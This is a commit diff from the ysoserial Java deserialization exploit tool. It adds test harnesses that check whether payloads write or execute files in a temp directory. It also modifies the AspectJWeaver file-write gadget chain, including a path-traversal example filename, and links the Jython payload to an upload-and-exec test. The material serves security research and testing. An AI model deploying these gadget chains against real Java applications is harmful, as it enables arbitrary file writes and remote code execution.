mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
adding test harnesses
This commit is contained in:
@@ -2,10 +2,7 @@ package ysoserial;
|
|||||||
|
|
||||||
import org.apache.commons.lang.StringUtils;
|
import org.apache.commons.lang.StringUtils;
|
||||||
|
|
||||||
import java.util.Arrays;
|
import java.util.*;
|
||||||
import java.util.Comparator;
|
|
||||||
import java.util.LinkedList;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
public class Strings {
|
public class Strings {
|
||||||
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
|
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
|
||||||
@@ -49,6 +46,10 @@ public class Strings {
|
|||||||
return lines;
|
return lines;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String randUUID() {
|
||||||
|
return UUID.randomUUID().toString().replaceAll("-", "");
|
||||||
|
}
|
||||||
|
|
||||||
public static class ToStringComparator implements Comparator<Object> {
|
public static class ToStringComparator implements Comparator<Object> {
|
||||||
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
|
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import ysoserial.payloads.annotation.PayloadTest;
|
|||||||
import ysoserial.payloads.util.PayloadRunner;
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -38,7 +39,7 @@ java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
|
|||||||
More information:
|
More information:
|
||||||
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||||
*/
|
*/
|
||||||
@PayloadTest(skip="non RCE")
|
@PayloadTest(harness="ysoserial.test.payloads.SimpleFileWriteTest")
|
||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||||
@Authors({ Authors.JANG })
|
@Authors({ Authors.JANG })
|
||||||
@@ -52,13 +53,14 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
|
|||||||
}
|
}
|
||||||
String[] parts = command.split(";");
|
String[] parts = command.split(";");
|
||||||
String filename = parts[0];
|
String filename = parts[0];
|
||||||
|
File file = new File(filename);
|
||||||
byte[] content = Base64.decodeBase64(parts[1]);
|
byte[] content = Base64.decodeBase64(parts[1]);
|
||||||
|
|
||||||
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||||
Object simpleCache = ctor.newInstance(".", 12);
|
Object simpleCache = ctor.newInstance(file.getParent().toString(), 12);
|
||||||
Transformer ct = new ConstantTransformer(content);
|
Transformer ct = new ConstantTransformer(content);
|
||||||
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
|
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
|
||||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, file.getName());
|
||||||
HashSet map = new HashSet(1);
|
HashSet map = new HashSet(1);
|
||||||
map.add("foo");
|
map.add("foo");
|
||||||
Field f = null;
|
Field f = null;
|
||||||
@@ -101,7 +103,7 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
|
args = new String[]{"..\\ahi.txt;YWhpaGloaQ=="};
|
||||||
PayloadRunner.run(AspectJWeaver.class, args);
|
PayloadRunner.run(AspectJWeaver.class, args);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
* exception information).
|
* exception information).
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@PayloadTest(skip="non RCE")
|
@PayloadTest(harness="ysoserial.test.payloads.PythonUploadExecTest")
|
||||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
||||||
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
|
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
package ysoserial.test.payloads;
|
||||||
|
|
||||||
|
import org.junit.Assert;
|
||||||
|
import ysoserial.Strings;
|
||||||
|
import ysoserial.test.CustomTest;
|
||||||
|
import ysoserial.test.util.Files;
|
||||||
|
import ysoserial.test.util.OS;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
public class PythonUploadExecTest implements CustomTest {
|
||||||
|
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
|
||||||
|
private final File srcPyFile = new File(OS.getTmpDir(), "ysoserial-test-src-" + Strings.randUUID() + ".py");
|
||||||
|
private final File dstPyFile = new File(OS.getTmpDir(), "ysoserial-test-dst-" + Strings.randUUID() + ".py");
|
||||||
|
private final String testCode = "open('" + testFile + "','w').close()";
|
||||||
|
|
||||||
|
{
|
||||||
|
Files.writeFile(srcPyFile, testCode);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run(Callable<Object> payload) throws Exception {
|
||||||
|
Assert.assertTrue("test src file should exist", srcPyFile.exists());
|
||||||
|
|
||||||
|
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||||
|
try {
|
||||||
|
payload.call();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
Files.waitForFile(testFile, 5000);
|
||||||
|
Assert.assertTrue("test dst file should exist", dstPyFile.exists());
|
||||||
|
Assert.assertTrue("test file should exist", testFile.exists());
|
||||||
|
testFile.deleteOnExit();
|
||||||
|
srcPyFile.deleteOnExit();
|
||||||
|
dstPyFile.deleteOnExit();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getPayloadArgs() {
|
||||||
|
return srcPyFile + ";" + dstPyFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package ysoserial.test.payloads;
|
||||||
|
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.junit.Assert;
|
||||||
|
import ysoserial.Strings;
|
||||||
|
import ysoserial.test.CustomTest;
|
||||||
|
import ysoserial.test.util.Files;
|
||||||
|
import ysoserial.test.util.OS;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileReader;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
public class SimpleFileWriteTest implements CustomTest {
|
||||||
|
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
|
||||||
|
private final String testContent = Strings.randUUID();
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run(Callable<Object> payload) throws Exception {
|
||||||
|
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||||
|
try {
|
||||||
|
payload.call();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
Files.waitForFile(testFile, 5000);
|
||||||
|
Assert.assertTrue("test file should exist", testFile.exists());
|
||||||
|
String testFileContent = new BufferedReader(new FileReader(testFile)).readLine();
|
||||||
|
Assert.assertEquals(testContent.trim(), testFileContent.trim());
|
||||||
|
testFile.deleteOnExit();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getPayloadArgs() {
|
||||||
|
return testFile.toString() + ";" + Base64.encodeBase64String(testContent.getBytes());
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package ysoserial.test.util;
|
package ysoserial.test.util;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
|
||||||
public class Files {
|
public class Files {
|
||||||
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
|
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
|
||||||
@@ -9,4 +10,14 @@ public class Files {
|
|||||||
Thread.sleep(10);
|
Thread.sleep(10);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void writeFile(File file, String content) {
|
||||||
|
try {
|
||||||
|
PrintWriter writer = new PrintWriter(file, "UTF-8");
|
||||||
|
writer.println(content);
|
||||||
|
writer.close();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user